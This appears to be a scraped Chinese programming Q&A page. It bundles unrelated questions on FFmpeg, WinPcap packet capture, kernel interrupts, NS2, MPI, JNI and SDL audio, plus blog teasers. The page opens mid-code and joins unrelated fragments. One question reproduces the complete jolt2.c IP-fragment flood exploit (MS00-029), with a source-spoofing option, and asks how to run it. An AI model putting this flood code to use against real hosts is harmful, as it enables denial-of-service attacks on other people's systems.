pCodecCtx->time_base.den == 1) { pCodecCtx->time_base.den = 1000; } // 分配视频帧 pFrame = av_frame_alloc(); // Allocate an AVFrame structure pFrameRGB = av_frame_alloc(); if (pFrameRGB == NULL) return; numBytes = avpicture_get_size(AV_PIX_FMT_RGB24, pCodecCtx->width,pCodecCtx->height);// Determine required buffer size and allocate buffer buffer = (uint8_t*)av_malloc(numBytes * sizeof(uint8_t)); avpicture_fill((AVPicture*)pFrameRGB, buffer, AV_PIX_FMT_RGB24,pCodecCtx->width, pCodecCtx->height);// Assign appropriate parts of buffer to image planes in pFrameRGB long prepts = 0; //Dump Format------------------ av_dump_format(out_pFormatCtx, 0, out_filename.c_str(), 1); //Open output URL if (!(ofmt->flags & AVFMT_NOFILE)) { ret = avio_open(&out_pFormatCtx->pb, out_filename.c_str(), AVIO_FLAG_WRITE); if (ret < 0) { AfxMessageBox(L"Could not open output URL"); //printf("Could not open output URL '%s'", out_filename); goto end; } } //Write file header ret = avformat_write_header(out_pFormatCtx, NULL); if (ret < 0) { //printf("Error occurred when opening output URL\n"); goto end; } start_time = av_gettime(); while (1) { //Get an AVPacket ret = av_read_frame(i_pFormatCtx, &packet); if (ret < 0) { break; } if (G_PAUSE) { break; } /* if (packet.stream_index == audioindex) { //聲音: ret = avcodec_decode_audio4(pCodecCtx, pFrame, &frameAudioFinished,&packet); } */ //Important:Delay if (packet.stream_index == videoindex) { //==================================================================================== //幀解碼器: int a=avcodec_decode_video2(pCodecCtx, pFrame, &frameFinished, &packet);// Decode video frame //ret = avcodec_encode_video2(pCodecCtx, &packet, pFrameRGB, &frameFinished); if (frameFinished) { static struct SwsContext* img_convert_ctx; if (img_convert_ctx == NULL) { int w = pCodecCtx->width; int h = pCodecCtx->height; img_convert_ctx = sws_getContext(w, h, pCodecCtx->pix_fmt, w, h, AV_PIX_FMT_RGB24, 4, NULL, NULL, NULL); if (img_convert_ctx == NULL) { fprintf(stderr, "Cannot initialize the conversion context!\n"); exit(1); } } int ret = sws_scale(img_convert_ctx, pFrame->data, pFrame->linesize, 0, pCodecCtx->height, pFrameRGB->data, pFrameRGB->linesize); if (ret == 0) { fprintf(stderr, "SWS_Scale failed [%d]!\n", ret); continue; } // Save the frame to disk if (i++ <= 5) { SaveFrame(pFrameRGB, pCodecCtx->width, pCodecCtx->height, i); } CopyDate(pFrameRGB, pCodecCtx->width, pCodecCtx->height, packet.pts - prepts); ret =avcodec_encode_video2(pCodecCtx, &packet, pFrameRGB, &frameFinished); if (ret < 0) { AfxMessageBox(L"Encoding失敗"); } prepts = packet.pts; } //============================================================================================== AVRational time_base = i_pFormatCtx->streams[videoindex]->time_base; AVRational time_base_q = { 1,AV_TIME_BASE }; int64_t pts_time = av_rescale_q(packet.dts, time_base, time_base_q); int64_t now_time = av_gettime() - start_time; if (pts_time > now_time) { av_usleep(pts_time - now_time); } } //Simple Write PTS if (packet.pts == AV_NOPTS_VALUE) { //Write PTS AVRational time_base1 = i_pFormatCtx->streams[videoindex]->time_base; //Duration between 2 frames (us) int64_t calc_duration = (double)AV_TIME_BASE / av_q2d(i_pFormatCtx->streams[videoindex]->r_frame_rate); //Parameters packet.pts = (double)(frame_index * calc_duration) / (double)(av_q2d(time_base1) * AV_TIME_BASE); packet.dts = packet.pts; packet.duration = (double)calc_duration / (double)(av_q2d(time_base1) * AV_TIME_BASE); } in_stream = i_pFormatCtx->streams[packet.stream_index]; out_stream = out_pFormatCtx->streams[packet.stream_index]; /* copy packet */ //Convert PTS/DTS packet.pts = av_rescale_q_rnd(packet.pts, in_stream->time_base, out_stream->time_base, (AVRounding)(AV_ROUND_NEAR_INF | AV_ROUND_PASS_MINMAX)); packet.dts = av_rescale_q_rnd(packet.dts, in_stream->time_base, out_stream->time_base, (AVRounding)(AV_ROUND_NEAR_INF | AV_ROUND_PASS_MINMAX)); packet.duration = av_rescale_q(packet.duration, in_stream->time_base, out_stream->time_base); packet.pos = -1; //Print to Screen if (packet.stream_index == videoindex) { //printf("Send %8d video frames to output URL\n", frame_index); frame_index++; //ret = av_interleaved_write_frame(out_pFormatCtx, &packet); } //ret = av_write_frame(ofmt_ctx, &pkt); ret = av_interleaved_write_frame(out_pFormatCtx, &packet); if (ret < 0) { //printf("Error muxing packet\n"); break; } av_free_packet(&packet); } //Write file trailer av_write_trailer(out_pFormatCtx); end: AfxMessageBox(L"Stream is closed"); avformat_close_input(&i_pFormatCtx); /* close output */ if (out_pFormatCtx && !(ofmt->flags & AVFMT_NOFILE)) avio_close(out_pFormatCtx->pb); avformat_free_context(out_pFormatCtx); if (ret < 0 && ret != AVERROR_EOF) { //printf("Error occurred.\n"); return ; } return;
中断函数的上半部、下半部
1)首先注册一个中断:ret = request_irq(fpga_irq,mpc83xx_fpga_interrupt,0,"fpga",NULL); 2)中断处理函数:static irqreturn_t mpc83xx_fpga_interrupt(int irq,void *dev_id); { ........................................ mpc83xx_pkt_hander(); ........................................ } 3)static void mpc83xx_pkt_hander(); { .............................. .............................. } 首先使用gettimeofday();函数在中断处理函数中调用mpc83xx_pkt_hander()的前后计算时间为20us左右,而在mpc83xx_pkt_hander()函数内部执行开始和结尾使用gettimeofday()函数计算的时间为80us。 问题:mpc83xx_pkt_hander()应该只是中断函数中的一个普通的调用吧,为什么计算看上去是并发处理的?
利用winpcap抓包,已经可以抓包,但如何解析包头结构按字段写入文本文件?后面应该添加什么代码?
``` #define HAVE_REMOTE #include <pcap.h> /* packet handler 函数原型 */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); int main() { pcap_if_t *alldevs; pcap_if_t *d; int inum; int i=0; pcap_t *adhandle; char errbuf[PCAP_ERRBUF_SIZE]; /* 获取本机设备列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印列表 */ for(d=alldevs; d; d=d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } /* 跳转到选中的适配器 */ for(d=alldevs, i=0; i< inum-1 ; d=d->next, i++); /* 打开设备 */ if ( (adhandle= pcap_open(d->name, // 设备名 65535, // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容 PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式 1000, // 读取超时时间 NULL, // 远程机器验证 errbuf // 错误缓冲池 ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } printf("\nlistening on %s...\n", d->description); /* 释放设备列表 */ pcap_freealldevs(alldevs); /* 开始捕获 */ pcap_loop(adhandle, 0, packet_handler, NULL); return 0; } /* 每次捕获到数据包时,libpcap都会自动调用这个回调函数 */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { struct tm *ltime; char timestr[16]; time_t local_tv_sec; /* 将时间戳转换成可识别的格式 */ local_tv_sec = header->ts.tv_sec; ltime=localtime(&local_tv_sec); strftime( timestr, sizeof timestr, "%H:%M:%S", ltime); printf("%s,%.6ld len:%d\n", timestr, header->ts.tv_usec, header->len); } ```
这个写什么代码可以使抓包60s或者按回车键停止?
``` #define HAVE_REMOTE #include <pcap.h> #include <windows.h> /* packet handler 函数原型 */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); int main() { pcap_if_t *alldevs; pcap_if_t *d; int inum; int i=0; pcap_t *adhandle; char errbuf[PCAP_ERRBUF_SIZE]; /* 获取本机设备列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印列表 */ for(d=alldevs; d; d=d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } /* 跳转到选中的适配器 */ for(d=alldevs, i=0; i< inum-1 ; d=d->next, i++); /* 打开设备 */ if ( (adhandle= pcap_open(d->name, // 设备名 65535, // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容 PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式 1000, // 读取超时时间 NULL, // 远程机器验证 errbuf // 错误缓冲池 ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } printf("\nlistening on %s...\n", d->description); /* 释放设备列表 */ pcap_freealldevs(alldevs); /* 开始捕获 */ pcap_loop(adhandle, , packet_handler, NULL); return 0; } /* 每次捕获到数据包时,libpcap都会自动调用这个回调函数 */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { struct tm *ltime; char timestr[16]; time_t local_tv_sec; /* 将时间戳转换成可识别的格式 */ local_tv_sec = header->ts.tv_sec; ltime=localtime(&local_tv_sec); strftime( timestr, sizeof timestr, "%H:%M:%S", ltime); printf("%s,%.6ld len:%d\n", timestr, header->ts.tv_usec, header->len); } ```
关于UDP flood 攻击程序的问题
**下面是非常经典的jolt2 UDP FLOOD 代码,照着书给加了注释,在LINUX下可以运行,但是不知道该输入什么执行命令,求教。另外这个程序貌似不能伪造攻击者IP?求问 OvO ...** /* Jolt2.c - Tested against Win98, WinNT4/sp5,6, Win2K. An interesting side note is that minor changes to this packet cause NT4/Win2k (maybe others, not tested) memory use to jump *substantially* (+70 meg non-paged-pool on a machine with 196 mb phys). There seems to be a hard upper limit, but on machines with smaller amounts of memory or smaller swapfiles, ramping up the non-paged-pool this much might lead to a BSOD. .phonix. */ /* * File: jolt2.c * Author: Phonix <phonix@moocow.org> * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Win98; NT4/SP5,6; Win2K * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <getopt.h> //定义数据包结构 struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; //获取各种数据包长度 int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; //程序的正确用法提示 void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } //主机名到IP地址的转换 u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } //出错退出处理 void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } //组装碎片数据包并发送 int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; //填写地址信息 to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; //包长为29,因为只有一个字节的载荷数据 memset(&pkt, 0, psize); //给存放数据包内容的缓冲区清零 //填写数据包 pkt.ip.version = 4; //版本号 pkt.ip.ihl = 5; //包头长度为5个32bit,即20字节 pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); //IP包的ID为1109=0x455,可以作为IDS检验的一个特征,只是这个值很容易改变 pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);//如果指定了端口,则协议时ICMP,否则是UDP pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190);//偏移8190,即0x1FFE if (port) //如果有端口参数,则构造UDP数据包 { pkt.proto.udp.source = htons(port|1235); //指定源端口为目的端口与1235的或运算结果 pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; //UDP数据包中的载荷数据只有一个字节,即a,体现低数据率 } else { //若没有指定端口,则构造ICMP数据包 pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; //校验和为0 } //循环发送,死循环 while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); //在循环中不停地发送伪造数据包 } return bs; } //主程序 int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) //如果提供的参数数目不足,提示使用方法 usage (argv[0]); gethostname (hostname, 32); //获取本机地址 src_addr = host_to_ip(hostname); //将本机地址赋给原地址变量src_addr //解析参数 while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': //原地址,由于使用方法中原地址不是必需的,因此这里检测是否提供了原地址,若提供了,则赋给src_addr src_addr = host_to_ip(optarg); if (!src_addr) quit("Bad source address given."); //提示原地址错误,退出 break; case 'p': //端口号 port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); //提示端口错误,退出 break; case 'h': //如果参数是h(help),则提示用法 default: usage (argv[0]); } } //主机IP地址转换,提取目标地址 dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); //创建socket spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); //设置socket if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) //指定IP包头的信息由程序员自己填写 quit("IP_HDRINCL"); //实施碎片攻击 do_frags (spf_sck, src_addr, dst_addr, port);//发送分片数据包 }
NS2 中tcp源代码关于处理接收到的ack包问题
TcpAgent函数中的newack(Packet *pkt)函数负责对新到达的ack包进行处理, 在该函数里,既然是处理信道的ack包,用什么函数能够获得该ack包的到达时间。下面有个图,是这个函数里面的内容![图片说明](https://img-ask.csdn.net/upload/201511/14/1447489347_344613.png) 里面的ts_echo_=tcph->ts_echo(); 这个就是我想要的ack包的到达时间么?
在运行lightLDA时出现断言错误,错误如下有大神指教吗?
``` Assertion failed in file src/mpid/ch3/channels/nemesis/netmod/tcp/socksm.c at line 591: hdr.pkt_type == MPIDI_NEM_TCP_SOCKSM_PKT_ID_INFO || hdr.pkt_type == MPIDI_NEM_TCP_SOCKSM_PKT_TMPVC_INFO internal ABORT - process 2 terminate called after throwing an instance of 'zmq::error_t' what(): Context was terminated ```
JNI 中多线程创建问题请各位指教
大家好,我刚接触JNI开发,遇到一个多线程方面的问题,不知道哪位大神能够帮帮忙。 我在看别人写的代码,里面有一段如下: Int ret_val = 0; If((smd_dev_up = open(SMD_DEV_UP, O_RDWR)) <= 0) { Return -1; } If((smd_dev_down = open(SMD_DEV_down, O_RDWR)) <= 0) { Return -1; } If(blocking_write) { Icotl(smd_dev_up, SMD_PKT_IOCTL_BLOCKING_WRITE, &blocking_write); Icotl(smd_dev_down, SMD_PKT_IOCTL_BLOCKING_WRITE, &blocking_write); } 其中SMD_DEV_UP被define成 “/dev/encrypt_voice_TX” SMD_DEV_DOWN被define成 “/dev/encrypt_voice_RX” SMD_PKT_IOCTL_BLOCKING_WRITE和SMD_PKT_IOCTL_BLOCKING_WRITE是定义的两个设备控制命令。 问题: 作者得注释说上面的程序段启动了两个线程,但是我不明白哪里启动了两个线程,是两个open函数吗?在linux下启动线程不是一般应该用pthread_create吗?
关于SDL音频播放没声音的问题~
开始光播放视频正常,但加上音频线程后,不但没有声音,而且连视频也卡在了一帧上,求教,谢谢~ # videoplay.cpp #include "videoplay.h" videoplay::videoplay(){ pFormatContext = avformat_alloc_context(); pFrame = avcodec_alloc_frame(); pFrameRGB = avcodec_alloc_frame(); pktQueue = new packetQueue(); pktQueueAudio = new packetQueue(); } void videoplay::reset(){ av_free(pFormatContext); pFormatContext = avformat_alloc_context(); av_free(pFrame); pFrame = avcodec_alloc_frame(); av_free(pFrameRGB); pFrameRGB = avcodec_alloc_frame(); delete pktQueue; packetQueue_init(); } //打开视频文件,获取解码器 int videoplay::open_file(){ av_register_all(); if( avformat_open_input(&pFormatContext, path.c_str(), NULL, NULL )!=0 ) return -1; if( av_find_stream_info(pFormatContext)<0 ) return -1; av_dump_format(pFormatContext, 0, path.c_str(), 0); videoStream = -1; audioStream = -1; for( unsigned int i=0;i<pFormatContext->nb_streams;i++ ){ if( pFormatContext->streams[i]->codec->codec_type==AVMEDIA_TYPE_VIDEO ){ videoStream = i; } else if( pFormatContext->streams[i]->codec->codec_type==AVMEDIA_TYPE_AUDIO ){ audioStream = i; } } if( videoStream==-1 ) return -1; if( audioStream==-1 ) return -1; // video pCodecContext = pFormatContext->streams[videoStream]->codec; pCodec = avcodec_find_decoder(pCodecContext->codec_id); // audio aCodecContext = pFormatContext->streams[audioStream]->codec; aCodec = avcodec_find_decoder(aCodecContext->codec_id); if( pCodec==NULL || aCodec==NULL ) return -1; // video if( avcodec_open2( pCodecContext, pCodec, NULL )<0 ) return -1; ud *userdata = (ud*) malloc(sizeof(ud)); userdata->aCodecContext = aCodecContext; userdata->vp = this; // audio wanted_spec = (SDL_AudioSpec*) av_mallocz(sizeof(SDL_AudioSpec)); wanted_spec->freq = aCodecContext->sample_rate; wanted_spec->format = AUDIO_S16SYS; wanted_spec->channels = aCodecContext->channels; wanted_spec->silence = 0; wanted_spec->samples = SDL_AUDIO_BUFFER_SIZE; wanted_spec->callback = audio_callback; wanted_spec->userdata = userdata; if( SDL_OpenAudio(wanted_spec, NULL)<0 ) return -1; av_free(pCodec); av_free(aCodec); } //获取包,加入队列 int videoplay::getPackets(){ int numBytes; packetQueue_init(); pFrame = avcodec_alloc_frame(); pFrameRGB = avcodec_alloc_frame(); if( pFrame==NULL || pFrameRGB==NULL ) return -1; numBytes = avpicture_get_size( PIX_FMT_RGB24, pCodecContext->width, pCodecContext->height ); buffer = (uint8_t*)av_malloc(numBytes*sizeof(uint8_t)); avpicture_fill( (AVPicture*)pFrameRGB, buffer, PIX_FMT_RGB24, pCodecContext->width, pCodecContext->height ); AVPacket packet; while( av_read_frame(pFormatContext, &packet)>=0 ){ if( packet.stream_index==videoStream ) packetQueue_put( pktQueue, &packet ); if( packet.stream_index==audioStream ) packetQueue_put( pktQueueAudio, &packet ); } av_free(pCodecContext); } void videoplay::packetQueue_init(){ pktQueue = (packetQueue*)malloc(sizeof(packetQueue)); memset( pktQueue, 0, sizeof(packetQueue) ); pktQueue->mutex = SDL_CreateMutex(); pktQueue->cond = SDL_CreateCond(); pktQueueAudio = (packetQueue*)malloc(sizeof(packetQueue)); memset( pktQueueAudio, 0, sizeof(packetQueue) ); pktQueueAudio->mutex = SDL_CreateMutex(); pktQueueAudio->cond = SDL_CreateCond(); } bool videoplay::packetQueue_get(packetQueue *pktQueue, AVPacket *packet){ int ret = 0; //quit=0; AVPacketList *pkt1; SDL_LockMutex(pktQueue->mutex); if(pktQueue->nb_packets<=VIDEO_BUFFER_MIN_SIZE){ SDL_CondSignal(pktQueue->cond); } while(1) { pkt1=pktQueue->first; if(pkt1) { pktQueue->first=pkt1->next; if(!pktQueue->first)pktQueue->last=NULL; pktQueue->nb_packets--; *packet = pkt1->pkt; av_free(pkt1); ret=1; break; } else { SDL_CondWait(pktQueue->cond,pktQueue->mutex); } } SDL_UnlockMutex(pktQueue->mutex); return ret; } //往队列加包 void videoplay::packetQueue_put(packetQueue *pktQueue, AVPacket *packet){ AVPacketList *pkt1=(AVPacketList*)av_malloc(sizeof(AVPacketList)); pkt1->pkt=*packet; pkt1->next=NULL; SDL_LockMutex( pktQueue->mutex); if( pktQueue->nb_packets>=VIDEO_BUFFER_MAX_SIZE ){ SDL_CondWait( pktQueue->cond, pktQueue->mutex ); } if(!pktQueue->last) pktQueue->first=pkt1; else pktQueue->last->next=pkt1; pktQueue->last=pkt1; pktQueue->nb_packets++; if( pktQueue->nb_packets>=VIDEO_BUFFER_MIN_SIZE ){ SDL_CondSignal(pktQueue->cond); } SDL_CondSignal(pktQueue->cond); SDL_UnlockMutex(pktQueue->mutex); return ; } QImage* videoplay::play(QImage &image){ AVPacket *packet = new AVPacket(); struct SwsContext *pSwsCtx; int frameFinished; while( packetQueue_get( pktQueue, packet) ){ avcodec_decode_video2( pCodecContext, pFrame, &frameFinished, packet ); if( frameFinished ){ pSwsCtx = sws_getContext( pCodecContext->width, pCodecContext->height,pCodecContext->pix_fmt, pCodecContext->width, pCodecContext->height, PIX_FMT_RGB24, SWS_BICUBIC, NULL, NULL, NULL ); sws_scale (pSwsCtx, (const uint8_t* const*)pFrame->data, pFrame->linesize, 0, pCodecContext->height, pFrameRGB->data, pFrameRGB->linesize); bmp->pixels[0] = pFrameRGB->data[0]; bmp->pixels[1] = pFrameRGB->data[2]; bmp->pixels[2] = pFrameRGB->data[1]; bmp->pitches[0] = pFrameRGB->linesize[0]; bmp->pitches[1] = pFrameRGB->linesize[2]; bmp->pitches[2] = pFrameRGB->linesize[1]; SDL_UnlockYUVOverlay(bmp); rect.x=0; rect.y=0; rect.w=pCodecContext->width; rect.h=pCodecContext->height; SDL_DisplayYUVOverlay(bmp,&rect); */ memcpy( buffer,pFrameRGB,sizeof(AVFrame) ); QImage tmpImage( (uchar*)buffer, pCodecContext->width, pCodecContext->height, QImage::Format_RGB888 ); image = tmpImage.copy(); SDL_Delay(40); int i = 0; return &image; } } return NULL; } int videoplay::audio_decode_frame( videoplay *vp, AVCodecContext *aCodecContext, Uint8 *audio_buf, int buf_size ){ static AVPacket pkt; static Uint8 *audio_pkt_data = NULL; static int audio_pkt_size = 0; int len_1, data_size; while(1){ while(audio_pkt_size>0){ data_size = buf_size; len_1 = avcodec_decode_audio3( aCodecContext, (int16_t*)audio_buf, &data_size, &pkt); if( len_1<0 ){ audio_pkt_size = 0; break; } audio_pkt_data = audio_pkt_data + len_1; audio_pkt_size = audio_pkt_size - len_1; if( data_size<=0 ) continue; return data_size; } if(pkt.data) av_free_packet(&pkt); if( vp->packetQueue_get(vp->pktQueueAudio, &pkt)==0 ) return -1; audio_pkt_data = pkt.data; audio_pkt_size = pkt.size; } } void videoplay::audio_callback( void*userdata, Uint8 *stream, int len ){ ud *udata = (ud*)userdata; AVCodecContext *aCodecContext = udata->aCodecContext; videoplay *vp = udata->vp; int len_1, audio_size; static Uint8 audio_buf[AVCODEC_MAX_AUDIO_FRAME_SIZE*3/2]; static unsigned int audio_buf_size = 0; static unsigned int audio_buf_index = 0; while( len>0 ){ if( audio_buf_index>=audio_buf_size ){ audio_size = audio_decode_frame( vp, aCodecContext, audio_buf, sizeof(audio_buf) ); if( audio_size<0 ){ audio_buf_size = 1024; memset( audio_buf, 0 , audio_buf_size ); } else audio_buf_size = audio_size; audio_buf_index = 0; } } len_1 = audio_buf_size - audio_buf_index; if( len_1>len ) len_1 = len; // memcpy( stream, (Uint8*)audio_buf+audio_buf_index, len_1 ); SDL_MixAudio(stream,(Uint8*)audio_buf+audio_buf_index, len_1, SDL_MIX_MAXVOLUME ); len = len - len_1; stream = stream + len_1; audio_buf_index = audio_buf_index + len_1; } # mainwindow.cpp #include "mainwindow.h" #include "ui_mainwindow.h" #include <Windows.h> #include "videoplay.h" MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); connect( this, SIGNAL(readOneFrame(QPixmap)), this, SLOT(setPic(QPixmap)) ); } MainWindow::~MainWindow() { delete ui; } int threadFunc( void *arg){ videoplay *vp = (videoplay*)arg; vp->getPackets(); return 1; } int MainWindow::threadFunc_1( void *arg){ MainWindow *mainWindow = (MainWindow*)arg; QImage *image = new QImage(); while( mainWindow->vp.play(*image) ){ QPixmap pixmap = QPixmap::fromImage(image->scaled(mainWindow->ui->label->size(), Qt::KeepAspectRatio)); emit mainWindow->readOneFrame(pixmap); Sleep(1); mainWindow->state = 1; } delete image; return 1; } int threadFunc_2( void *arg){ while(1) SDL_PauseAudio(5); return 1; } void MainWindow::closeEvent(QCloseEvent *event){ SDL_KillThread(decodeTid); SDL_KillThread(videoTid); SDL_KillThread(audioTid); } void MainWindow::on_pushButton_clicked() //打开,获取到视频文件路径 path { vp.reset(); QFileDialog* fileDialog = new QFileDialog(this); QString path = fileDialog->getOpenFileName(this, "打开", ".", "Video Files(*.mp4 *.avi,*rmvb);;all(*)", 0, 0); decodeTid=NULL; videoTid=NULL; if( path.length()!=0 ){ if( SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO) ) return ; ui->label->setText( path ); vp.setPath(path.toStdString()); vp.open_file(); decodeTid = SDL_CreateThread(threadFunc,&vp); videoTid = SDL_CreateThread(threadFunc_1,this); SDL_PauseAudio(0); audioTid = SDL_CreateThread(threadFunc_2,NULL); } } void MainWindow::on_pushButton_2_clicked() //快退 { } void MainWindow::on_pushButton_3_clicked() //播放/停止 { if( state==1 ){ //点击后暂停 ui->pushButton_3->setText(tr("暂停")); state = 0; } else{ ui->pushButton_3->setText(tr("播放")); //点击后播放 state = 1; } } void MainWindow::on_pushButton_4_clicked() //快进 { } void MainWindow::setPic(QPixmap pixmap){ ui->label->setPixmap(pixmap); ui->label->repaint(); }
130 个相见恨晚的超实用网站,一次性分享出来
相见恨晚的超实用网站 持续更新中。。。
终于明白阿里百度这样的大公司,为什么面试经常拿ThreadLocal考验求职者了
点击上面↑「爱开发」关注我们每晚10点,捕获技术思考和创业资源洞察什么是ThreadLocalThreadLocal是一个本地线程副本变量工具类,各个线程都拥有一份线程私...
win10系统安装教程(U盘PE+UEFI安装)
一、准备工作 u盘,电脑一台,win10原版镜像(msdn官网) 二、下载wepe工具箱 极力推荐微pe(微pe官方下载) 下载64位的win10 pe,使用工具箱制作启动U盘打开软件, 选择安装到U盘(按照操作无需更改) 三、重启进入pe系统 1、关机后,将U盘插入电脑 2、按下电源后,按住F12进入启动项选择(技嘉主板是F12) 选择需要启...
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
C语言魔塔游戏
很早就很想写这个,今天终于写完了。 游戏截图: 编译环境: VS2017 游戏需要一些图片,如果有想要的或者对游戏有什么看法的可以加我的QQ 2985486630 讨论,如果暂时没有回应,可以在博客下方留言,到时候我会看到。 下面我来介绍一下游戏的主要功能和实现方式 首先是玩家的定义,使用结构体,这个名字是可以自己改变的 struct gamerole { char n...
java源码分析 Arrays.asList()与Collections.unmodifiableList()
ArrayList支持所有的可选操作(因为一个UnsupportedOperationException异常都没有捕获到),所以要想拥有完备的功能,还是得使用ArrayList啊。 Arrays$ArrayList除了set()操作外,都不支持。 Collections$UnmodifiableRandomAccessList都不支持,名副其实的Unmodifiable不可修改。
究竟你适不适合买Mac?
我清晰的记得,刚买的macbook pro回到家,开机后第一件事情,就是上了淘宝网,花了500元钱,找了一个上门维修电脑的师傅,上门给我装了一个windows系统。。。。。。 表砍我。。。 当时买mac的初衷,只是想要个固态硬盘的笔记本,用来运行一些复杂的扑克软件。而看了当时所有的SSD笔记本后,最终决定,还是买个好(xiong)看(da)的。 已经有好几个朋友问我mba怎么样了,所以今天尽量客观...
Python爬虫爬取淘宝,京东商品信息
小编是一个理科生,不善长说一些废话。简单介绍下原理然后直接上代码。 使用的工具(Python+pycharm2019.3+selenium+xpath+chromedriver)其中要使用pycharm也可以私聊我selenium是一个框架可以通过pip下载 pip installselenium -ihttps://pypi.tuna.tsinghua.edu.cn/simple/ ...
Java学习笔记(七十二)—— Cookie
概述 会话技术: 会话:一次会话中包含多次请求和响应 一次会话:浏览器第一次给服务器发送资源请求,会话建立,直到有一方断开为止 功能:在一次会话的范围内的多次请求间,共享数据 方式: 客户端会话技术:Cookie,把数据存储到客户端 服务器端会话技术:Session,把数据存储到服务器端 Cookie 概念:客户端会话技术,将数据存储到客户端 快速入门: 使用步骤: 创建C...
程序员写了一个新手都写不出的低级bug,被骂惨了。
这种新手都不会范的错,居然被一个工作好几年的小伙子写出来,差点被当场开除了。
Java工作4年来应聘要16K最后没要,细节如下。。。
